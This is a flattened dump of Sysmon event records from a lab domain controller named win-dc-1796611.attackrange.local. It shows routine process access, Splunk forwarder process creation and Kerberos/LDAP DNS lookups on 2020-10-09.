09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002353Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002352Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28DB-5F80-6E00-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002351Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.652{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28DB-5F80-6E00-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002350Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.486{A5F018FF-28DB-5F80-6E00-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002349Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.574{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002348Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.574{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002377Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.652{A5F018FF-28DC-5F80-6F00-000000007F01}18643344C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+577205|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+576d36|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+56c09|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+572d6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe+8fe2c4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002376Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28DC-5F80-6F00-000000007F01}1864C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002375Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002374Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002373Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002372Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002371Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002370Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002369Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002368Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002367Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002366Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28DC-5F80-6F00-000000007F01}1864C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002365Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.496{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28DC-5F80-6F00-000000007F01}1864C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002364Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.329{A5F018FF-28DC-5F80-6F00-000000007F01}1864C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe8.0.2Monitor windows event logssplunk ApplicationSplunk Inc.splunk-winevtlog.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=A735F697C6C533F20D023E4318824194,SHA256=295236CFB06A5F9C1F76EECC468F9A070BFCB5C4E094918059EC86BBB654E119,IMPHASH=85F4904CF3562658E303E53274ABD436{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x80000000000000002392Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.574{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.1460-C:\Windows\System32\lsass.exe 22542200x80000000000000002391Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:47.496{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.attackrange.local.1460-C:\Windows\System32\lsass.exe 10341000x80000000000000002390Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28DD-5F80-7000-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002389Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002388Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002387Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002386Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 